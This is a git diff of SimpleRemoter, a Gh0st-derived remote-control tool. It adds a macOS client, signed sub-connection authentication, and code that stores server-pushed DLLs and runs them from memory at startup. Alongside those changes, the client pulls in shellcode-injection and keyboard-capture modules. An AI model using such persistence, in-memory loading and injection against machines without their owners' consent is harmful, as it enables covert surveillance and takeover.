<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
</a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -55,7 +55,7 @@
## 專案簡介
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux** 平台的企業級遠端管理工具。
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux + macOS** 平台的企業級遠端管理工具。
### 核心能力
@@ -353,6 +353,7 @@ struct FileChunkPacketV2 {
| `TestRun.exe` + `ServerDll.dll` | 分離載入,支援記憶體載入 DLL |
| Windows 服務 | 背景執行,支援鎖定畫面控制 |
| Linux 用戶端 | 跨平台支援v1.2.5+ |
| macOS 用戶端 | 跨平台支援v1.3.2+ |
---
@@ -473,10 +474,98 @@ cmake .
make
```
### macOS 用戶端v1.3.2+
**系統要求**
- macOS 10.15 (Catalina) 及以上
- 架構支援Intel (x64) 和 Apple Silicon (arm64) 通用二進位
- 需要授予系統權限:螢幕錄製、輔助使用、完全磁碟存取
**功能支援**
| 功能 | 狀態 | 實作 |
|------|------|------|
| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取VideoToolbox H.264 硬體編碼 |
| 滑鼠控制 | ✅ | CGEvent 模擬,支援雙擊、拖曳 |
| 鍵盤控制 | ✅ | CGEvent 模擬,完整鍵碼對應 |
| 游標同步 | ✅ | 即時同步遠端游標樣式 |
| 遠端終端 | ✅ | PTY 互動式 Shellzsh/bash |
| 檔案管理 | ✅ | 雙向傳輸、V2 協定、大檔案支援 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 分組管理 | ✅ | 持久化設定檔 |
| 程序管理 | ⏳ | 開發中 |
| 剪貼簿 | ⏳ | 開發中 |
**編譯方式**
```bash
cd macos
./build.sh
# 或手動編譯:
# mkdir build && cd build && cmake .. && make
```
---
## 更新日誌
### v1.3.3 (2026.5.10)
**Linux/macOS 用戶端深化 & 雙層認證安全 & 跨平台共享程式碼重構**
**新功能:**
- **服務端身分校驗Layer 1**Linux/macOS 用戶端 HMAC-SHA256 校驗服務端身分,未授權服務端無法觸發任何子連線
- **子連線認證Layer 2TOKEN_CONN_AUTH**:所有子連線首包簽章 + clientID 鎖定,解決 NAT/127.0.0.1 路由錯位
- **Linux 用戶端**H.264 硬體編碼(動態載入 libx264、XFixes 游標類型偵測、UTF-8 協議能力位
- **macOS 用戶端**:檔案管理員、遠端終端機(共享 PTYHandler、剪貼簿同步、守護程序模式 (-d)、電源管理、螢幕鎖定/閒置偵測、CGDisplayStream 推送模式最佳化
- **主控**螢幕預覽縮圖、區域截圖、遠端桌面縮放、Web 使用者依群組過濾、嵌入式現代終端、自適應螢幕演算法、外部資源覆蓋、群組持久化、Build Dialog 支援產生 macOS 用戶端
**重構:**
- Linux/macOS 用戶端共享程式碼抽到 `common/`rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread減少約 300 行重複
**改進:**
- 現代終端 SYSTEM 相容:自動回退到經典終端,資訊列表給出精確原因
- `build.ps1` 新增 `vswhere` 兜底VS 裝在非預設磁碟也能找到)
- 強制 `/source-charset:utf-8 /execution-charset:.936` 解決英語 Windows 編譯中文亂碼
- macOS `install.sh` 來源 binary 優先順序最佳化(命令列 → 同目錄 → build/bin適配分發場景
**Bug 修復:**
- V2 檔案傳輸在檔案管理器對話方塊雙向均損壞(上傳 IP 路由錯亂 + 下載 chunk 未分發)
- 現代終端在 SYSTEM 權限下空白WebView2 不支援 LocalSystem
- Linux 用戶端 UTF-8 路徑/作用視窗在服務端亂碼
- 日誌列表表頭點擊錯誤排序到主機列表
- LVM_SETUNICODEFORMAT 後表頭排序失效(補充 HDN_ITEMCLICKW 對應)
- 服務+代理 Release 模式系統匣圖示不顯示
- macOS/Linux 用戶端群組變更後未重發 LOGIN_INFOR
- 檔案對話方塊 map 中野指標導致崩潰
- 重連時未清回呼導致存取已銷毀 handler 崩潰
- MFC 與 Web 遠端桌面工作階段未完全獨立
- macOS 鎖屏狀態遠端桌面啟動時未喚醒顯示器
- MFC 遠端桌面觸控板雙指捲動失效
### v1.3.2 (2026.5.1)
**macOS 用戶端 & Web 遠端桌面增強**
**新功能:**
- macOS 用戶端支援:全新實現的 macOS 原生用戶端支援螢幕擷取、H.264 編碼、鍵鼠控制、系統權限管理
- Web 遠端桌面游標同步:瀏覽器端即時顯示遠端主機游標樣式
- 觸發器功能:支援主機上線事件觸發自訂操作
- 使用者管理功能:新增角色權限管理,支援多使用者分級控制
- DLL 執行增強:參數持久化儲存、支援自動執行設定
- 遠端桌面輸入法切換:支援遠端切換被控端輸入語言
**改進:**
- Web 遠端桌面手勢最佳化改進雙指手勢識別、雙擊拖曳、Shift 組合鍵支援
**Bug 修復:**
- 修復 Web 遠端桌面在 macOS 用戶端上雙擊無法開啟檔案的問題
- 修復 macOS 完全磁碟存取權限偵測不準確的問題
- 修復 RestoreMemDLL 因 DLL 資訊大小錯誤導致還原失敗
- 修復多個 DLL 同時執行可能因全域變數衝突而失敗
- 修復滑鼠雙擊和遠端桌面切換問題
- 修復 Linux 用戶端編譯缺少 libzstd.a 的問題
### v1.3.1 (2026.4.15)
**Web 遠端桌面 & 多主控共享增強**

View File

@@ -43,6 +43,18 @@ foreach ($pattern in $msBuildPaths) {
}
}
# 兜底:默认路径找不到(例如 VS 装在 D 盘)时,用 vswhere 反查。
# vswhere.exe 由 VS Installer 维护,固定在 %ProgramFiles(x86)% 下,与 VS 本体盘符无关。
if (-not $msBuild) {
$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
if (Test-Path $vswhere) {
$found = & $vswhere -latest -products * -requires Microsoft.Component.MSBuild `
-find "MSBuild\**\Bin\MSBuild.exe" 2>$null |
Select-Object -First 1
if ($found) { $msBuild = $found }
}
}
if (-not $msBuild) {
Write-Host "ERROR: MSBuild not found." -ForegroundColor Red
Write-Host ""

View File

@@ -199,6 +199,7 @@
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" />
@@ -241,6 +242,7 @@
<ClInclude Include="ScreenCapture.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" />

View File

@@ -27,6 +27,7 @@
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" />
@@ -70,6 +71,7 @@
<ClInclude Include="ScreenCapture.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" />

View File

@@ -11,6 +11,8 @@
// ScreenType enum (USING_GDI, USING_DXGI, USING_VIRTUAL) 已移至 common/commands.h
#define ALGORITHM_NULL "-1"
#define ALGORITHM_NUL -1
#define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1
#define ALGORITHM_DEFAULT 1

View File

@@ -1163,6 +1163,7 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
// 创建新连接发送文件
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn);
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() {
FileBatchTransferWorkerV2(allFiles, targetDir, pClient,

View File

@@ -61,6 +61,10 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
return FALSE;
}
#ifdef __APPLE__
// macOS: 只有 TCP_KEEPALIVE (等同于 TCP_KEEPIDLE)
setsockopt(socket, IPPROTO_TCP, TCP_KEEPALIVE, &nKeepAliveSec, sizeof(nKeepAliveSec));
#else
// 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包)
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
Mprintf("Failed to set TCP_KEEPIDLE\n");
@@ -80,6 +84,7 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
Mprintf("Failed to set TCP_KEEPCNT\n");
return FALSE;
}
#endif
Mprintf("TCP keep-alive settings applied successfully\n");
return TRUE;
@@ -95,6 +100,77 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, O
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
}
// 子连接身份校验:发 TOKEN_CONN_AUTH 包后阻塞等服务端响应。
// signMessage 由私有库提供(与 KernelManager.cpp 验证主控签名同款),
// 空 publicKey/privateKey 走内置 HMAC。
extern std::string signMessage(const std::string& privateKey, BYTE* msg, int len);
bool IOCPClient::PerformConnAuth(uint64_t clientID, int timeoutMs)
{
ConnAuthPacket pkt = {};
pkt.token = TOKEN_CONN_AUTH;
pkt.clientID = clientID;
pkt.timestamp = (uint64_t)time(NULL);
// 16 字节 nonce用 rand() + 时间扰动,强度够用(重放保护主要靠时间戳)
for (int i = 0; i < 16; ++i) {
pkt.nonce[i] = (uint8_t)((rand() ^ (clock() >> i)) & 0xFF);
}
BYTE sigInput[8 + 8 + 16];
memcpy(sigInput, &pkt.clientID, 8);
memcpy(sigInput + 8, &pkt.timestamp, 8);
memcpy(sigInput + 16, pkt.nonce, 16);
auto sig = signMessage("", sigInput, sizeof(sigInput));
size_t sigLen = sig.size() < 64 ? sig.size() : 64;
memcpy(pkt.signature, sig.data(), sigLen);
// 设置等待状态
{
std::lock_guard<std::mutex> lk(m_authMtx);
m_authStatus = -1;
m_authPending = true;
}
// 发包;用 HttpMask 包装与其它子连接首包风格一致
HttpMask mask(DEFAULT_HOST, GetClientIPHeader());
int sent = Send2Server((char*)&pkt, sizeof(pkt), &mask);
if (sent <= 0) {
std::lock_guard<std::mutex> lk(m_authMtx);
m_authPending = false;
Mprintf("[ConnAuth] 发送失败\n");
return false;
}
// 等响应或超时
std::unique_lock<std::mutex> lk(m_authMtx);
bool got = m_authCv.wait_for(lk, std::chrono::milliseconds(timeoutMs),
[this]{ return !m_authPending; });
int status = m_authStatus;
m_authPending = false;
if (!got) {
Mprintf("[ConnAuth] 等待响应超时 (%d ms),判定失败\n", timeoutMs);
return false;
}
bool ok = (status == CONN_AUTH_OK);
Mprintf("[ConnAuth] %s (status=%d)\n", ok ? "通过" : "失败", status);
return ok;
}
bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
{
if (!buf || len < sizeof(ConnAuthAck)) return false;
if (buf[0] != TOKEN_CONN_AUTH) return false;
{
std::lock_guard<std::mutex> lk(m_authMtx);
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
const ConnAuthAck* ack = (const ConnAuthAck*)buf;
m_authStatus = ack->status;
m_authPending = false;
}
m_authCv.notify_all();
return true;
}
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
const std::string& pubIP, void* main) : g_bExit(bExit)
@@ -114,6 +190,8 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
}
m_main = main;
m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
// m_conn->clientID 现取主连接 ID同一指针主连接登录后填好的最新值
int encoder = conn ? conn->GetHeaderEncType() : 0;
m_sLocPublicIP = pubIP;
m_ServerAddr = {};
@@ -375,6 +453,27 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
#endif
}
// 子连接身份校验opt-in 通过 EnableSubConnAuth 开启):
// - WorkThread 已经启动,能接收 ack 包并通过 TryHandleAuthResponse 唤醒等待。
// - clientID 优先用 EnableSubConnAuth 显式传入的值Linux/macOS 客户端走此路径),
// 未显式传入时从 m_conn 现取Windows 客户端走此路径)。
// - 校验失败Disconnect 并返回 FALSE让上层走重连或放弃逻辑。
if (m_subConnAuthEnabled) {
uint64_t cid = m_subConnAuthClientID;
if (cid == 0 && m_conn) cid = m_conn->clientID;
if (cid == 0) {
Mprintf("[ConnAuth] 跳过校验clientID 尚未就绪(主连接还没拿到 ID\n");
// 没拿到 ID 就别盲发,等下一次 Reconnect 时再试。视为本次连接失败。
Disconnect();
return FALSE;
}
if (!PerformConnAuth(cid, CONN_AUTH_CLIENT_WAIT_MS)) {
Mprintf("[ConnAuth] 校验失败,断开连接\n");
Disconnect();
return FALSE;
}
}
return TRUE;
}
@@ -544,11 +643,16 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (Z_SUCCESS(iRet)) { //如果解压成功
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
if (ret) {
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
// 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。
// 不在等待状态时返回 false包透传给 managermanager 一般也不识别此 token
// 走 default 路径忽略,无副作用)。
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
if (ret) {
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
}
}
} else {
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);

View File

@@ -32,6 +32,8 @@
#endif
#include "IOCPBase.h"
#include <mutex>
#include <condition_variable>
#include <chrono>
#define MAX_RECV_BUFFER 1024*32
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
@@ -259,6 +261,31 @@ public:
m_LoginMsg = msg;
m_LoginSignature = hmac;
}
// 子连接身份校验:发 TOKEN_CONN_AUTH 包,等服务端 ConnAuthAck 响应。
// 返回 true 表示通过false 表示超时/失败/网络错误。
// 主连接不调用此方法。新客户端必须调用并校验成功后才能继续后续命令。
// 已实现的协议扩展(如 KeyBoard 子连接的 cap word保留不变与本机制并行工作。
bool PerformConnAuth(uint64_t clientID, int timeoutMs);
// 让 ConnectServer 在每次成功后自动调一次 PerformConnAuthopt-in
// 子连接构造后调用此方法启用。
// - clientID == 0每次 auth 时从 m_conn->clientID 现取Windows 客户端走此路径)。
// 这样即便 IOCPClient 创建时主连接还没拿到 ID真正连上时也能用到最新值。
// - clientID != 0显式指定Linux/macOS 客户端 IOCPClient 不带 m_conn 时用此参数)。
void EnableSubConnAuth(bool enabled = true, uint64_t clientID = 0) {
m_subConnAuthEnabled = enabled;
m_subConnAuthClientID = clientID;
}
// 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。
// 仅在我们正在等待 auth 响应时m_authPending=true才消费否则透传给 manager。
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
// 主动断开当前连接,关闭 socket。提到 public 让外层(如 Linux/macOS main 的心跳
// 循环检测到服务端身份校验超时)能在重连前显式关闭旧 fd避免泄漏。
virtual VOID Disconnect(); // 函数支持 TCP/UDP
protected:
virtual int ReceiveData(char* buffer, int bufSize, int flags)
{
@@ -266,7 +293,6 @@ protected:
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
}
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
virtual VOID Disconnect(); // 函数支持 TCP/UDP
virtual int SendTo(const char* buf, int len, int flags)
{
return ::send(m_sClientSocket, buf, len, flags);
@@ -285,6 +311,16 @@ protected:
BOOL m_bConnected;
std::mutex m_Locker;
// 子连接身份校验同步状态。仅在 PerformConnAuth 调用期间生效。
std::mutex m_authMtx;
std::condition_variable m_authCv;
int m_authStatus = -1; // -1 = 未启动;其它 = ConnAuthStatus
bool m_authPending = false; // true 时 TryHandleAuthResponse 才消费 ack
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
bool m_subConnAuthEnabled = false;
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
#if USING_CTX
ZSTD_CCtx* m_Cctx; // 压缩上下文
ZSTD_DCtx* m_Dctx; // 解压上下文

View File

@@ -18,9 +18,11 @@
#include "auto_start.h"
#include "ShellcodeInj.h"
#include "KeyboardManager.h"
#include "ScreenPreview.h"
#include "common/file_upload.h"
#include "common/DateVerify.h"
#include "common/LANChecker.h"
#include "common/scheduler.h"
extern "C" {
#include "ServiceWrapper.h"
}
@@ -52,7 +54,9 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
{
ThreadInfo *tKeyboard = new ThreadInfo();
tKeyboard->run = FOREVER_RUN;
tKeyboard->p = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
tKeyboard->p = sub;
tKeyboard->conn = conn;
tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL);
return tKeyboard;
@@ -65,6 +69,7 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s)
{
m_cfg = new iniFile(CLIENT_PATH);
m_ulThreadCount = 0;
#ifdef _DEBUG
m_settings = { 5 };
@@ -75,6 +80,11 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
m_hKeyboard = kb;
// C2C 初始化
if (conn) m_MyClientID = conn->clientID;
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
static int n = RestoreMemDLL();
if (n) {
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
}
}
BOOL IsThreadsRunning(ThreadInfo* threads, int count)
@@ -90,6 +100,7 @@ BOOL IsThreadsRunning(ThreadInfo* threads, int count)
CKernelManager::~CKernelManager()
{
Mprintf("~CKernelManager begin\n");
SAFE_DELETE(m_cfg);
HANDLE hList[MAX_THREADNUM] = {};
for (int i=0; i<MAX_THREADNUM; ++i) {
if (m_hThread[i].h!=0) {
@@ -233,7 +244,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
DllExecParam<>* dll = (DllExecParam<>*)param;
DllExecuteInfo info = *(dll->info);
PluginParam pThread = dll->param;
CManager* This = dll->manager;
CKernelManager* This = (CKernelManager*)dll->manager;
#if _DEBUG
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
DllRunner* runner = new DefaultDllRunner(info.Name);
@@ -262,17 +273,22 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL;
char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user;
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = 0;
uint64_t start = time(0);
if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
if (r) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
}
}
else {
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
}
if (r || (time(0)-start < 15)) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
}
SAFE_DELETE_ARRAY(user);
break;
@@ -281,17 +297,22 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL;
char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user;
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = 0;
uint64_t start = time(0);
if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
if (r) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
}
}
else {
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
}
if (r || (time(0)-start < 15)) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
}
SAFE_DELETE_ARRAY(user);
break;
@@ -623,24 +644,106 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
return "";
}
int CKernelManager::RestoreMemDLL() {
binFile bin(CLIENT_PATH);
// 枚举所有以 .md5 结尾的值名称
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
int count = 0;
for (const auto& key : md5Keys) {
// 获取 MD5 值
std::string md5 = m_cfg->GetStr("settings", key);
if (md5.empty())
continue;
// 从 "xxx.md5" 提取 "xxx"
std::string name = key.substr(0, key.size() - 4);
// 获取对应的二进制数据
std::string binData = bin.GetStr("settings", name + ".bin");
if (binData.empty())
continue;
// 解析 DllExecuteInfo提取 DLL 数据
const int sz = 1 + sizeof(DllExecuteInfo);
if (binData.size() < sz)
continue;
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1);
if (binData.size() < 1 + info->InfoSize + info->Size)
continue;
// 恢复到 m_MemDLL
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + 1 + info->InfoSize);
m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size);
Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str());
count++;
// 检查是否为启动执行模式
if (info->Schedule.Mode == SCH_MODE_STARTUP) {
// 复制一份用于检查和执行
DllExecuteInfo infoCopy = *info;
ScheduleParams& sch = infoCopy.Schedule;
// 从注册表读取运行时状态LastRunTime 和 CurrentCount
std::string lastRunStr = m_cfg->GetStr("settings", name + ".lastrun");
std::string countStr = m_cfg->GetStr("settings", name + ".count");
if (!lastRunStr.empty()) {
sch.LastRunTime = std::stoull(lastRunStr);
}
if (!countStr.empty()) {
sch.CurrentCount = (unsigned char)std::stoi(countStr);
}
// 检查是否应该执行
if (YamaTaskEngine::ShouldExecute(&sch)) {
Mprintf("Auto-start DLL on startup: %s\n", name.c_str());
char* buf = info->InfoSize > sizeof(DllExecuteInfo) ? new char[400] : 0;
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
BYTE* data = m_MemDLL[md5].data();
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL));
// 更新注册表中的运行时状态
// 如果有时间间隔限制,更新 LastRunTime
if (sch.Config.Startup.Interval > 0) {
YamaTaskEngine::MarkExecuted(&sch);
m_cfg->SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
}
// 如果有次数限制,更新 CurrentCount
if (sch.MaxCount > 0) {
if (sch.Config.Startup.Interval == 0) {
// 如果没更新过 LastRunTime需要单独增加计数
sch.CurrentCount++;
}
m_cfg->SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
}
}
}
}
return count;
}
template<typename T = DllExecuteInfo>
BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
{
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
std::map<std::string, std::vector<BYTE>> &m_MemDLL(This->m_MemDLL);
const int sz = 1 + sizeof(T);
if (ulLength < sz) return FALSE;
const T* info = (T*)(szBuffer + 1);
const char* md5 = info->Md5;
auto find = m_MemDLL.find(md5);
if (find == m_MemDLL.end() && ulLength == sz) {
iniFile cfg(CLIENT_PATH);
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) {
config *cfg = This->m_cfg;
auto s = cfg->GetStr("settings", info->Name + std::string(".md5"));
if ((find == m_MemDLL.end() || s.empty()) && ulLength == sz) {
if (s.empty() || s != info->Md5 || !This->m_conn->IsVerified()) {
// 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
return TRUE;
}
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
Mprintf("Execute local DLL from registry: %s\n", md5);
binFile bin(CLIENT_PATH);
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
@@ -649,10 +752,10 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
}
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
if (info->Size == ulLength - sz) {
// 收到完整 DLL 数据,保存到注册表
if (md5[0]) {
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
cfg->SetStr("settings", info->Name + std::string(".md5"), md5);
binFile bin(CLIENT_PATH);
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
@@ -660,7 +763,18 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
}
data = szBuffer + sz;
}
if (data) {
else if (data) {
// 只收到参数(无 DLL 数据),更新 .bin 中的参数部分
binFile bin(CLIENT_PATH);
std::string binData = bin.GetStr("settings", info->Name + std::string(".bin"));
if (binData.size() >= sz) {
// 替换 .bin 中的参数部分(跳过命令字节)
memcpy(&binData[1], szBuffer + 1, sizeof(T));
bin.SetStr("settings", info->Name + std::string(".bin"), binData);
Mprintf("Update DLL params [%d bytes] in registry: %s\n", sizeof(T), info->Name);
}
}
if (data && SCH_MODE_NONE == info->Schedule.Mode) {
PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user);
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL));
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
@@ -682,8 +796,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
switch (szBuffer[0]) {
case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "group_name", group);
m_cfg->SetStr("settings", "group_name", group);
break;
}
@@ -846,7 +959,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
